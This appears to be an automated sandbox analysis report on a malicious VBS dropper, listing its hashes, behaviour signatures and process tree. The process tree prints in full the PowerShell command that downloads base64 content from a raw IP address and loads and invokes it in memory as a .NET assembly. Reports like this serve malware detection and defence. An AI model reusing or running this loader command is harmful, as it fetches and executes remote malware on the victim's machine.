d9577a11fb93cf09c220f70d087e55eb4c7c5fed0537aebd8013e7e01a8d5d15

Analysis

max time kernel
30s
max time network
30s
platform
windows7_x64
resource
win7-20230621-en
resource tags

arch:x64arch:x86image:win7-20230621-enlocale:en-usos:windows7-x64system
submitted
01/07/2023, 07:51

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General

Target

droidddxxxPayloadvbs.vbs
Size

92KB
MD5

3d54b88bf2b6bcd1126ef4eb20d9e9f9
SHA1

1fe4483c54fa7da0ea4ee769a36d8717da12e0d1
SHA256

d9577a11fb93cf09c220f70d087e55eb4c7c5fed0537aebd8013e7e01a8d5d15
SHA512

c5285a0b26d35bcfa60bf291ac924e09a6dd413ee93d4b0babfc71ce9dd34f3507bed4c7d8f704797f315d0125bd1a7eeda50ca855f1c3a16e090f2c67d960e6
SSDEEP

768:mnHGdUBDCKtfYjE3Luo4+eaWZxidnOk9p0YFPk9Wai2Y:OHGd+CKtfSo4+sxidnOk9p0YFNai2Y

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://172.174.176.153/dll/new_rump_vb.net.txt

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
3	576	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
576	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	576	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1148 wrote to memory of 1960	1148	WScript.exe	28
PID 1148 wrote to memory of 1960	1148	WScript.exe	28
PID 1148 wrote to memory of 1960	1148	WScript.exe	28
PID 1960 wrote to memory of 576	1960	cmd.exe	30
PID 1960 wrote to memory of 576	1960	cmd.exe	30
PID 1960 wrote to memory of 576	1960	cmd.exe	30

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\droidddxxxPayloadvbs.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:1148
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c powershell.exe [Byte[]] $rOWg = [system.Convert]::FromBase64string((New-Object Net.WebClient).DownloadString('http://172.174.176.153/dll/new_rump_vb.net.txt'));[System.AppDomain]::CurrentDomain.Load($rOWg).GetType('Fiber.Home').GetMethod('VAI').Invoke($null, [object[]] ('ø☀☞√�}П�◀@+@░�@@ø☀☞√�}П�.!}(ú░}nmz◀@+@░�@@*(+ø(!}(ú░}mz◀@+@░�@@*(+ø(!}(ú░}zmn◀@+@░�@@v*(+ø(n4*●*☞#:▶4(úø(@@*ú.0(úø(@@*ú](∞ú(.87](∞ú(.59](∞ú(4*●*☞#:▶4*●*☞#:▶▶☟ð}↓→+◀pø☀☞√�}П�ø☀☞√�}П�↓*(▲☟@*⇝','1No1me_Startup','2No3me_3tartup'))
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1960
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe [Byte[]] $rOWg = [system.Convert]::FromBase64string((New-Object Net.WebClient).DownloadString('http://172.174.176.153/dll/new_rump_vb.net.txt'));[System.AppDomain]::CurrentDomain.Load($rOWg).GetType('Fiber.Home').GetMethod('VAI').Invoke($null, [object[]] ('ø☀☞√�}П�◀@+@░�@@ø☀☞√�}П�.!}(ú░}nmz◀@+@░�@@*(+ø(!}(ú░}mz◀@+@░�@@*(+ø(!}(ú░}zmn◀@+@░�@@v*(+ø(n4*●*☞#:▶4(úø(@@*ú.0(úø(@@*ú](∞ú(.87](∞ú(.59](∞ú(4*●*☞#:▶4*●*☞#:▶▶☟ð}↓→+◀pø☀☞√�}П�ø☀☞√�}П�↓*(▲☟@*⇝','1No1me_Startup','2No3me_3tartup'))
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:576

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

memory/576-58-0x000000001B330000-0x000000001B612000-memory.dmp

Filesize
2.9MB

Download
memory/576-59-0x0000000002360000-0x0000000002368000-memory.dmp

Filesize
32KB

Download
memory/576-60-0x00000000023C0000-0x0000000002440000-memory.dmp

Filesize
512KB

Download
memory/576-61-0x00000000023C0000-0x0000000002440000-memory.dmp

Filesize
512KB

Download
memory/576-63-0x00000000023C0000-0x0000000002440000-memory.dmp

Filesize
512KB

Download
memory/576-62-0x00000000023C0000-0x0000000002440000-memory.dmp

Filesize
512KB

Download
memory/576-64-0x00000000023C0000-0x0000000002440000-memory.dmp

Filesize
512KB

Download
memory/576-65-0x00000000023C0000-0x0000000002440000-memory.dmp

Filesize
512KB

Download
memory/576-66-0x00000000023C0000-0x0000000002440000-memory.dmp

Filesize
512KB

Download
memory/576-67-0x00000000023C0000-0x0000000002440000-memory.dmp

Filesize
512KB

Download